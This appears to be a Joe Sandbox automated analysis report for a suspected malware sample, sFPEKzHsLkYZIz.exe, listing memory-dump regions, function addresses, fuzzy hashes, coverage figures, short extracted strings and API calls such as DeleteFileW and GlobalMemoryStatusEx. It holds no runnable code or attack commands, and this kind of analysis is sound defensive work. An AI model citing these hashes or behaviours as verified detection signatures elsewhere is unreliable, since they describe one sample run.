Snapshot File: hcaresult_9_2_171d000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c8810ad0a5178bd3cd54c882ce3e52a9b85f75c2d464115028bed08559f9d71
Instruction ID: 27ec7cb34343582cc1b932d1cc1a53a72d8d0b10c06b5999287ad61b7ed27c9d
Opcode Fuzzy Hash: 3c8810ad0a5178bd3cd54c882ce3e52a9b85f75c2d464115028bed08559f9d71
Instruction Fuzzy Hash: BA212275604200DFCB25DF5CD9C8B26FFA5EB88314F20C5ADD80A4B25AC33AD447CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0170D067 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1755448547.000000000170D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0170D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_170d000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction ID: 6bc0c3ddb636693acab44d05295f5390883eba057552045b86fb86adb3ba4b7c
Opcode Fuzzy Hash: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction Fuzzy Hash: F4219D76504384DFDB16CF94D9C4B16BFB2FB88314F24C6A9E9490B256C33AD426CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0171D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1755547807.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_171d000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: ed309e2f5d871b37b5dfe32975a0fe1cc80b56fc1d989dc6d196ab19f755e727
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: F611BE75504280CFDB12CF58D5C8B16FF61FB44314F24C6AAD8094B65AC33AD44ACF62

Uniqueness

Uniqueness Score: -1.00%

Function 0171D2EB Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1755547807.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_171d000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 6a31dc3f1ca4e4b52e3a81aade37200026998f2d62719b38cf329152dbeec05c
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: BC11BB75504280CFDB16CF58D5C8B15FFA2FB84314F24C6AAD8494B25AC33AD40ACF61

Uniqueness

Uniqueness Score: -1.00%

Function 0170D92D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1755448547.000000000170D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0170D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_170d000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da647802a086e59154be948edba55a17963cbe4c7439879ce4728380e18294b8
Instruction ID: f305a30c16c881cdd557cd2c4dc33af053d7e918b2d095dc9e7e54a9d097f91a
Opcode Fuzzy Hash: da647802a086e59154be948edba55a17963cbe4c7439879ce4728380e18294b8
Instruction Fuzzy Hash: 2D01A271008344DAE7228EEEC984B67FFD9EF45324F18C46AED494A2C6C2799840C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0170D92C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1755448547.000000000170D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0170D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_170d000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d73979e6985224f2a7ea5801e04ea94c05e6d02f8a0c68d5f535e86e5b582653
Instruction ID: 810d7b61fd1ab9e7689d67bfd7ca4f391a32a5eb4859caba93ede7b9ddeeb516
Opcode Fuzzy Hash: d73979e6985224f2a7ea5801e04ea94c05e6d02f8a0c68d5f535e86e5b582653
Instruction Fuzzy Hash: 49F06271404344AAE7218A5AC9C8B66FFE9EB45624F18C45AED484A2C6C2799844CAB1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sFPEKzHsLkYZIz.exePID: 7816, Parent PID: 7524COMMON

Execution Graph

Execution Coverage:	13.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	27
Total number of Limit Nodes:	5

Executed Functions

Function 06483478 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06483B4E
$^q, xrefs: 06483B77
$^q, xrefs: 06483BA7
$^q, xrefs: 06483B5A
$^q, xrefs: 06483B83
$^q, xrefs: 06483B9B

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 458a4637299490107713f2075b2d26b3915106c62064a85f001b45b102c68c12
Instruction ID: 3a175fd08038d7a24dda9d341bf4720cb440e4178a0a54b96feb213761722842
Opcode Fuzzy Hash: 458a4637299490107713f2075b2d26b3915106c62064a85f001b45b102c68c12
Instruction Fuzzy Hash: DF322131E1071A8FCB15EFB5C85499DB7B6FFC9700F14C6AAD409AB215EB309985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06487D88 Relevance: 3.0, Strings: 2, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 064882F4
$^q, xrefs: 06488300

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 757653f3ce36c27aed3b285acb4fa10591412c1dbb1f2ce162d6cf999818c9b3
Instruction ID: 898c4a93e42d2b17cca0985acdd25d32d2fc82c445e71733eeaf701cffed2a3a
Opcode Fuzzy Hash: 757653f3ce36c27aed3b285acb4fa10591412c1dbb1f2ce162d6cf999818c9b3
Instruction Fuzzy Hash: 7E02DF30B002058FDB55EF68D990AAEB7E2FF85304F64856AE405DB395DB35EC86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 064855B8 Relevance: 1.8, Strings: 1, Instructions: 599
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06485987

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 7e8a9b2156f1bdc26738ccb0fde9c16b203bc1a60f057c8d8cd40f2e88d9880a
Instruction ID: ad068328689a845d9dc0d637cb44ce27dcdbcd685bb4ada38f9c3be673c7c69a
Opcode Fuzzy Hash: 7e8a9b2156f1bdc26738ccb0fde9c16b203bc1a60f057c8d8cd40f2e88d9880a
Instruction Fuzzy Hash: 6C22B135E002158FDFA9EF64C4806AEB7F2EF85310F20846AD449AB345DB35DD45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06482752 Relevance: 1.0, Instructions: 1020COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66c39f7672e6f009e4348d10a6a926142d7d6358ff805c9308ce5a5a6d4c9f66
Instruction ID: d05fee9a5617486ad45e6fbc32108bfb3f73bf28607dc5a7b9358dcf1f5e4741
Opcode Fuzzy Hash: 66c39f7672e6f009e4348d10a6a926142d7d6358ff805c9308ce5a5a6d4c9f66
Instruction Fuzzy Hash: CE926834A00204CFDB65EF68C584A6EBBF2FB48314F5484AAD809DB365DB75ED85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06486600 Relevance: .8, Instructions: 831COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a17e33668908494395cbc8305da5178fee2cb2e1c411d295679f0bf097dbfe8
Instruction ID: 555da6da8bf8cfbea0b0bd2d416de839ccd610f003fb6739ce45e434d75fa88b
Opcode Fuzzy Hash: 1a17e33668908494395cbc8305da5178fee2cb2e1c411d295679f0bf097dbfe8
Instruction Fuzzy Hash: 3562B130B00204CFDB95EB68D594AAEB7F2EF85304F15846AE40AEB355DB35ED46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0648C1A8 Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b9064f151ecb7a6449084743eb22d8ce55a764e5271fd9d731ce96128e1eb64
Instruction ID: 226dcaef30b5067596246ee3e11feb9274bf12ab64478f020ea16e2244c31530
Opcode Fuzzy Hash: 0b9064f151ecb7a6449084743eb22d8ce55a764e5271fd9d731ce96128e1eb64
Instruction Fuzzy Hash: 35329F34B002099FDF55EB68D980BAEB7B2FB88310F14856AE405E7355DB35EC46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0648B238 Relevance: .6, Instructions: 570COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c5e3a339e15f85712e34a10d2068d622f4868645a18e1863417b1973ae9e5b
Instruction ID: 03e5db01b641795e854a519154cc1b7e8838ddf94c037d0edda22df5e44354dc
Opcode Fuzzy Hash: 10c5e3a339e15f85712e34a10d2068d622f4868645a18e1863417b1973ae9e5b
Instruction Fuzzy Hash: FC227230E102098FDF65EB68D584BAEB7F6EB85310F248966E409EB391CA35DC85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0648ACE0 Relevance: 10.4, Strings: 8, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0648AE01
$^q, xrefs: 0648AE8F
$^q, xrefs: 0648AE83
$^q, xrefs: 0648AEAC
$^q, xrefs: 0648AE60
$^q, xrefs: 0648AE54
$^q, xrefs: 0648AEB8
$^q, xrefs: 0648AE0D

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 565055d87d64fb702f17903908d59095358f27b78134504bf023bcedb67293e5
Instruction ID: 46f242c79bf943df17f7d461be42393db40f9bd4b48d8d248c16c30685d45b84
Opcode Fuzzy Hash: 565055d87d64fb702f17903908d59095358f27b78134504bf023bcedb67293e5
Instruction Fuzzy Hash: 7AE16E30E102098FCB66EF69D9846AEB7F2EF85300F24896BD405DB355DB75D886CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0648B660 Relevance: 8.0, Strings: 6, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0648BC01
$^q, xrefs: 0648BC29
$^q, xrefs: 0648BBF5
$^q, xrefs: 0648BBC1
$^q, xrefs: 0648BC35
$^q, xrefs: 0648BBCD

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 133c5eefcdf977f4a0dcf7723bfa594f03055be4ed863192ee40d3bd5a979db6
Instruction ID: f7248a6a2b7b7d1da6db1f4ed88d0e9b4193cf88d85ff4ebb096aaf65f695601
Opcode Fuzzy Hash: 133c5eefcdf977f4a0dcf7723bfa594f03055be4ed863192ee40d3bd5a979db6
Instruction Fuzzy Hash: EF025C30E002098FDBA5EFA8D584AAEB7F2FB45310F14856AE405EB355DB35DC86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06489158 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 064891AB
$^q, xrefs: 064891E6
$^q, xrefs: 0648919F
$^q, xrefs: 064891DA

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: a8a795d286bf9f711a33cceb490a62ee38050d3c30653c570a51fa83edf6d509
Instruction ID: 0936a7d525e73a13e66653b8a47ed3a7ea27c0395d2e98a28391bbf54306ac75
Opcode Fuzzy Hash: a8a795d286bf9f711a33cceb490a62ee38050d3c30653c570a51fa83edf6d509
Instruction Fuzzy Hash: 36915330B0060A9FDB55EF69D850BAF77F6AFC9204F14856AC409EB344DB349D46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0648CF70 Relevance: 4.5, Strings: 3, Instructions: 797
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0648D36B
$^q, xrefs: 0648D363
$^q, xrefs: 0648D377

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q
API String ID: 0-831282457
Opcode ID: c50b6204226a00b64caac859b73914218e2400219590d3a2e6dd60dd1fb9203d
Instruction ID: 567b5078647eae074d0babdf415f4b5863a713b3a868a3cedc72e9cc009e6ccb
Opcode Fuzzy Hash: c50b6204226a00b64caac859b73914218e2400219590d3a2e6dd60dd1fb9203d
Instruction Fuzzy Hash: DC626130A006059FCB55EF68D590A5EB7F2FF84304F248A6AD0099F759DB71ED8ACB80

Uniqueness

Uniqueness Score: -1.00%

Function 06484B80 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Ocq, xrefs: 06484D5B
fcq, xrefs: 06484BAB
XPcq, xrefs: 06484CD1

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: d1dfc068fc6c06d4d3fa0c6330dec267c247eaa5059ae511cff4b453f55556e7
Instruction ID: 10455c6a2a513af62de3de9cd3231d77421a18a61173844067b19c872fa00cd0
Opcode Fuzzy Hash: d1dfc068fc6c06d4d3fa0c6330dec267c247eaa5059ae511cff4b453f55556e7
Instruction Fuzzy Hash: B3618030F002099FEB55AFA5C8547AEBAF6EF88700F20842AE105EB395DB758D45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06489149 Relevance: 2.7, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0648919F
$^q, xrefs: 064891DA

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 3fb667a2f694d89ed99ee3a0c8e2e626107b27fb80ecfb449f78788bde49466f
Instruction ID: 4a5df8bee6f27dfacf73fdc40cf4f976d4e03f7fba860e850bbb9fa43a92db57
Opcode Fuzzy Hash: 3fb667a2f694d89ed99ee3a0c8e2e626107b27fb80ecfb449f78788bde49466f
Instruction Fuzzy Hash: CF515030B005059FDB55EB78D890BAF77FAEBC8644F14856AD40ADB388EA34DD42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06484B71 Relevance: 2.6, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 06484BAB
XPcq, xrefs: 06484CD1

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: fcq$XPcq
API String ID: 0-936005338
Opcode ID: 0aa526659fedd06e4946f47f6141818f55a5014c56c0fe6c0076d26c6ca30ed3
Instruction ID: 36a277327228dbc8b3c22d5620a02f5db63b9a8df70620d5c41fdb090f4879ec
Opcode Fuzzy Hash: 0aa526659fedd06e4946f47f6141818f55a5014c56c0fe6c0076d26c6ca30ed3
Instruction Fuzzy Hash: DC518E70F102089FEB559FB5C854BAEBBF6EF88700F20852AE105EB395DA758C458B91

Uniqueness

Uniqueness Score: -1.00%

Function 00F58169 Relevance: 1.6, APIs: 1, Instructions: 61
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 00F581E0

Memory Dump Source

Source File: 0000000D.00000002.4122306471.0000000000F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_f50000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 75ef6bf651879cef9bf4f7b24b89ddb3e31741ca8fec850605c77e43a6c31a95
Instruction ID: f782a5b0e4547bd8791319717a4fed0381c40c31096c6b46a6d4b123406a0544
Opcode Fuzzy Hash: 75ef6bf651879cef9bf4f7b24b89ddb3e31741ca8fec850605c77e43a6c31a95
Instruction Fuzzy Hash: 972144B1C0065A8FCB14CF9AC844BAEFBB4FF48320F10812AD958B7251D778A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F58170 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 00F581E0

Memory Dump Source

Source File: 0000000D.00000002.4122306471.0000000000F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_f50000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: cd90a587d24725002476835e537ccc0ac4f06e903c98f0213efbe2b0a2ac131f
Instruction ID: d2e57bd942f2955f3e07e7e2e7e20745de92b3419ca0c6004fee25c451abe842
Opcode Fuzzy Hash: cd90a587d24725002476835e537ccc0ac4f06e903c98f0213efbe2b0a2ac131f
Instruction Fuzzy Hash: 711133B1C0065A9BCB10CF9AC444B9EFBF4BF48320F10812AD958B7240D778A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F5F0F8 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 00F5F167

Memory Dump Source

Source File: 0000000D.00000002.4122306471.0000000000F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_f50000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 8555c16074b456528eb4f2e81bfc3cd06f28c4e7b02af149956fa57f64fdb475
Instruction ID: 7ed1268af4f232391e3a97b8bb28c10445f2df344fd64f51e13db85bac5f5171
Opcode Fuzzy Hash: 8555c16074b456528eb4f2e81bfc3cd06f28c4e7b02af149956fa57f64fdb475
Instruction Fuzzy Hash: 8F1112B1D0066ADFCB10CFAAD444BDEFBF4AF48320F14816AD818A7651D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F5F100 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 00F5F167

Memory Dump Source

Source File: 0000000D.00000002.4122306471.0000000000F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_f50000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 00bd2ad05883cf1e07c6263f24ace9305a42cf57361a33e006861a18e4c971ac
Instruction ID: 8a38341ba51c9155e607f56033cf9dff66eab7f70e000e8cd23b315ccc3c5e1b
Opcode Fuzzy Hash: 00bd2ad05883cf1e07c6263f24ace9305a42cf57361a33e006861a18e4c971ac
Instruction Fuzzy Hash: 201120B1C00669DBCB10CFAAC444BDEFBF4AF48320F10816AD818A7241D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0648DADD Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0648DC39

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: c14f0c99729ffd1f239a24204166ec84208bc166753c86950c21200d7da0aa80
Instruction ID: 4183fc2034fa256fac84666b3b7b1e7dcc31207444141396b7261d6c9229e185
Opcode Fuzzy Hash: c14f0c99729ffd1f239a24204166ec84208bc166753c86950c21200d7da0aa80
Instruction Fuzzy Hash: 7741BD30E112099FDB56EFA5C85469FBBB2EF85300F24452AE405EB390EB70D946CB81

Uniqueness

Uniqueness Score: -1.00%

Function 064821D8 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06482313

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 6c06bf04e7260190e3fec586e3e6e3bbfac292fb02789f40a9e84f469653aec6
Instruction ID: 165f15ccf58d06c1aa7f14befc307dbf265fe1fccb3bdf9d9fb651089ae976d2
Opcode Fuzzy Hash: 6c06bf04e7260190e3fec586e3e6e3bbfac292fb02789f40a9e84f469653aec6
Instruction Fuzzy Hash: FF31F030B102058FCB46AB74D5146AF7BE2AB89200F20846AD406DB394DE79DE46C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 064882CF Relevance: 1.3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

$^q, xrefs: 064882F4

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: $^q
API String ID: 0-388095546
Opcode ID: caa13e6931d9fb1019c5806d44fcd21df110ab2c31a95fcc92cde148c3232301
Instruction ID: a025dc81381ac9ad9d830a922ab9992225bda5e4b80d5e98c466067d0f4f13ee
Opcode Fuzzy Hash: caa13e6931d9fb1019c5806d44fcd21df110ab2c31a95fcc92cde148c3232301
Instruction Fuzzy Hash: 72F03035E00118DFDFA6BF54E9446EEB7B5FB40311F9844A3D801A7A54C3369D56CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06484A69 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

\Ocq, xrefs: 06484A75

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID: \Ocq
API String ID: 0-2995510325
Opcode ID: f1d0ab7091ed151f631824cc71a7c75ce1101afa791d50d3e6fe5bca15f597c3
Instruction ID: 00f768ff84d8bec491e34e8fab382bf1346064fa6f8681cea0ddee4ca9b9cee0
Opcode Fuzzy Hash: f1d0ab7091ed151f631824cc71a7c75ce1101afa791d50d3e6fe5bca15f597c3
Instruction Fuzzy Hash: 1BF0FE30E2012ADFDB54EF94E8597AEBBB2FF84700F24412AE402A7294CB741D05CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 06486200 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffca47d8249940bbabbbe17e151277f8d41e8d681a33529360cdd2202cb68a37
Instruction ID: c8d92f377c9cac1a4af49c0cdae910e3e4cf44feefe7ddd2ea58477afb4d3a39
Opcode Fuzzy Hash: ffca47d8249940bbabbbe17e151277f8d41e8d681a33529360cdd2202cb68a37
Instruction Fuzzy Hash: 9F61C271F000214FDF55AA7DC884AAFEAD7AFC5610B26447AD80EDB364DE69DD0287C2

Uniqueness

Uniqueness Score: -1.00%

Function 064842B2 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2010c94e74b590cd165a648c6bd916beedf0ec21001d062974e78a06a9155c4f
Instruction ID: e13388ca00874385b8d7a091eb1ea54c8b3c86fd58896db9b2757192a68f8d33
Opcode Fuzzy Hash: 2010c94e74b590cd165a648c6bd916beedf0ec21001d062974e78a06a9155c4f
Instruction Fuzzy Hash: 4F815D30B0020A9FDB45EFA8D4506AEB7F6EF89304F148429D40ADB394EB34DC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 064845D0 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6480000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5ec7b16566b7471f4c736978d69e8a670b14ba93050fbac31ab65af547039e3
Instruction ID: ad80671674b04123c9c4a35dad9d1f07d7deca553f666a071b8c5b0b1fc55437
Opcode Fuzzy Hash: c5ec7b16566b7471f4c736978d69e8a670b14ba93050fbac31ab65af547039e3
Instruction Fuzzy Hash: D7A14F34E1021A8FDF61DF68C890B9EB7B1FF85300F208596D549AB395EB70A985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 064845E8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168198526.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

